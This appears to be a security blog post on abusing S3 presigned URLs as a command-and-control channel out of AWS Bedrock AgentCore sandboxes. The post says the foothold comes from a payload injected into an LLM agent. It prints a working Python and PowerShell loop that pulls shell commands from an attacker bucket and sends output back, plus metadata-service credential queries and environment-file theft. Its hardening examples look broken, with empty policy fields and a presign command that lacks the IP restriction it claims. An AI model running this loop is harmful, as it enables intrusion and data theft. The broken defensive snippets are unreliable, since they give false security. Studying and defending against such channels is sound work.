Listen to this Post
Introduction:
Sandboxed code interpreters within AWS Bedrock AgentCore are designed to isolate untrusted AI-generated code, but recent research reveals that intended S3 access can bypass network isolation entirely. Attackers can turn a benign S3 bucket into a full command-and-control (C2) channel, exfiltrating data and executing arbitrary commands without ever touching DNS or traditional egress points.
Learning Objectives:
- Understand how sandboxed AgentCore code interpreters can be exploited to establish an S3-based C2 channel using presigned URLs.
- Learn to simulate the attack flow with AWS CLI commands and Python scripts to identify vulnerabilities in your own environment.
- Implement detection and hardening strategies, including CloudTrail monitoring, bucket policies, and least-privilege IAM roles.
You Should Know:
1. Anatomy of the S3 C2 Attack Chain
The attack transforms an AWS S3 bucket into a covert C2 channel by leveraging presigned URLs. Here’s the step-by-step breakdown:
Step 1: The Injection – A vulnerable AI application (e.g., an LLM-powered agent) accepts a malicious payload that includes code designed to run inside the AgentCore sandbox. The payload contains logic to periodically poll an attacker-controlled S3 bucket.
Step 2: The Execution – The sandboxed code interpreter executes the payload. It generates or receives a presigned URL pointing to the attacker’s bucket. Using `curl` or the AWS SDK, it reads a file containing shell commands.
Step 3: The C2 Channel – The attacker writes commands (e.g., ls /, cat /etc/passwd) into a file in their bucket. The compromised interpreter retrieves that file, executes the commands using `subprocess` or os.system, and writes the output back to the bucket via another presigned URL. The attacker then reads the output.
Simulation using AWS CLI and Python (Linux/macOS/WSL):
On attacker machine: create a bucket and a command file aws s3 mb s3://attacker-c2-bucket --region us-east-1 echo "id; hostname; cat /etc/os-release" > commands.txt aws s3 cp commands.txt s3://attacker-c2-bucket/in/commands.txt Generate a presigned URL for the attacker to read output later aws s3 presign s3://attacker-c2-bucket/out/result.txt --expires-in 3600
Inside the compromised AgentCore sandbox (Python payload):
import boto3 import subprocess import time from botocore.config import Config Presigned URLs hardcoded or fetched from attacker read_url = "https://attacker-c2-bucket.s3.amazonaws.com/in/commands.txt?X-Amz-..." write_url = "https://attacker-c2-bucket.s3.amazonaws.com/out/result.txt?X-Amz-..." while True: Poll for commands resp = subprocess.run(["curl", "-s", read_url], capture_output=True, text=True) cmd = resp.stdout.strip() if cmd: output = subprocess.run(cmd, shell=True, capture_output=True, text=True) Write output back using presigned PUT subprocess.run(["curl", "-X", "PUT", "-d", output.stdout, write_url]) time.sleep(30)
Windows equivalent (PowerShell inside sandbox):
while ($true) {
$cmd = (Invoke-WebRequest -Uri $read_url).Content
if ($cmd) {
$output = Invoke-Expression $cmd | Out-String
Invoke-WebRequest -Uri $write_url -Method PUT -Body $output
}
Start-Sleep -Seconds 30
}
2. Firecracker MMDS vs. IMDS: Exploiting Metadata Services
AgentCore code interpreters run inside Firecracker microVMs, which expose a MicroVM Metadata Service (MMDS). This is functionally similar to EC2 IMDS but accessible only from within the VM. If an attacker gains code execution, they can query MMDS to retrieve IAM credentials or configuration metadata, further escalating privileges.
Query MMDS (from inside Firecracker VM):
MMDS typically listens on 169.254.169.254 (same as IMDS) curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ curl http://169.254.169.254/latest/meta-data/instance-id
If MMDS is disabled or restricted, attackers may still use S3 C2 to exfiltrate any data the interpreter can access – including environment variables, temporary files, and even the AI model’s training data if the sandbox has mounted volumes.
3. Detecting S3 Exfiltration in Real-Time
You can detect this attack pattern by monitoring S3 access logs and AWS CloudTrail for anomalies.
Enable S3 access logging (target bucket must exist):
aws s3api put-bucket-logging --bucket your-ai-bucket --bucket-logging-status file://logging.json
logging.json: {"LoggingEnabled":{"TargetBucket":"log-bucket","TargetPrefix":"logs/"}}
Search CloudTrail for `GetObject` and `PutObject` events with presigned URLs – look for high-frequency API calls from a single IP or role that is not typical for your workloads.
Use VPC Flow Logs to detect outbound connections to S3 IP ranges from Firecracker VM subnets. A spike in PUT requests to a bucket not in your allowlist is suspicious.
Query CloudTrail with AWS CLI:
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=GetObject --start-time "2025-04-01T00:00:00Z" --end-time "2025-04-02T00:00:00Z"
4. Hardening AgentCore Code Interpreters
To block S3-based C2, restrict outbound S3 access and enforce strict presigned URL policies.
Step 1: Block all S3 access by default – Use a VPC endpoint for S3 with a bucket policy that denies access unless the request comes from a specific VPC and has a valid IAM role.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "",
"Action": "s3:",
"Resource": "",
"Condition": {
"StringNotEquals": {
"aws:SourceVpc": "vpc-12345abc"
}
}
}
]
}
Step 2: Enforce least privilege – The IAM role attached to the AgentCore interpreter should have no direct S3 permissions. Instead, require presigned URLs generated by a trusted service with short expiration (e.g., 60 seconds) and IP restriction.
Generating a secure presigned URL with IP restriction aws s3 presign s3://trusted-bucket/data.json --expires-in 60 --region us-east-1 --endpoint-url https://s3.us-east-1.amazonaws.com --cli-connect-timeout 10
Step 3: Implement egress filtering – Use AWS Network Firewall to block outbound HTTP/HTTPS requests to non-whitelisted S3 bucket domains, except those explicitly required for legitimate operations.
5. Building a Defensive C2 Simulation
Set up a safe lab environment to test your defenses without risking production.
Lab setup (Linux with AWS CLI and Python boto3):
Install dependencies pip install boto3 requests flask Create two AWS accounts: one attacker, one victim (or use separate IAM roles)
Deploy a mock vulnerable Bedrock agent using a Lambda function that executes user-supplied Python code. Allow that Lambda to assume a role that permits S3 read/write to a specific bucket.
Run the attack simulation:
attacker_sim.py
import boto3
import time
s3 = boto3.client('s3')
bucket = 'victim-interpreter-bucket'
Step 1: Write command to bucket
s3.put_object(Bucket=bucket, Key='cmd', Body='cat /proc/self/environ')
Step 2: Generate presigned URL for victim to read
read_url = s3.generate_presigned_url('get_object', Params={'Bucket': bucket, 'Key': 'cmd'}, ExpiresIn=300)
Step 3: Wait for victim to execute and write result
time.sleep(10)
result = s3.get_object(Bucket=bucket, Key='result')['Body'].read().decode()
print(f'Exfiltrated data: {result}')
Monitor logs – Verify that CloudTrail recorded every `GetObject` and `PutObject` call, and that your bucket policy blocked unauthorized requests.
6. Remediating Real-World Compromise
If you suspect an active S3 C2 channel in your Bedrock environment:
Immediate actions:
- Revoke all temporary credentials associated with the compromised interpreter role.
– `aws iam list-attached-role-policies –role-name AgentCoreRole`
– `aws iam delete-role-policy –role-name AgentCoreRole –policy-name S3Access` - Block the attacker’s bucket by adding a deny-all S3 policy with a condition on the bucket ARN:
{
"Effect": "Deny",
"Action": "s3:",
"Resource": "arn:aws:s3:::attacker-c2-bucket",
"Condition": {"IpAddress": {"aws:SourceIp": "0.0.0.0/0"}}
}
- Rotate any secrets or keys that may have been exfiltrated (e.g., database passwords, API tokens from environment variables).
Forensic analysis:
- Export S3 access logs from the compromised bucket (if enabled) to identify all objects accessed.
- Use Amazon Detective or Athena to query CloudTrail for `AssumeRole` events that preceded the attack.
What Undercode Say:
- S3 is the new DNS – Attackers abandoned noisy DNS tunnels for silent, authorized S3 API calls. Presigned URLs make detection even harder because they blend with legitimate traffic.
- Sandbox ≠ safety – Firecracker microVMs isolate compute, but if you intentionally give the sandbox network access to S3, you’ve built a side channel. Every “intended” feature becomes an attack surface.
- Defense starts with data boundaries – Never allow an untrusted interpreter to generate its own presigned URLs. All external resource access should be mediated by a proxy that enforces content inspection and rate limiting.
Prediction:
Within 12 months, threat actors will weaponize S3-based C2 against serverless AI pipelines, not just Bedrock. Expect tooling in frameworks like Mythic or Covenant that native uses S3 as a dead-drop resolver. Cloud providers will respond by introducing “AI runtime firewalls” that inspect presigned URL parameters and block anomalous S3 access patterns. However, the fundamental risk will remain until organizations adopt zero-trust principles for every API call made by sandboxed code—meaning we’ll see a new category of CASB (Cloud Access Security Broker) specifically for AI agents.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Nigel Sood – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
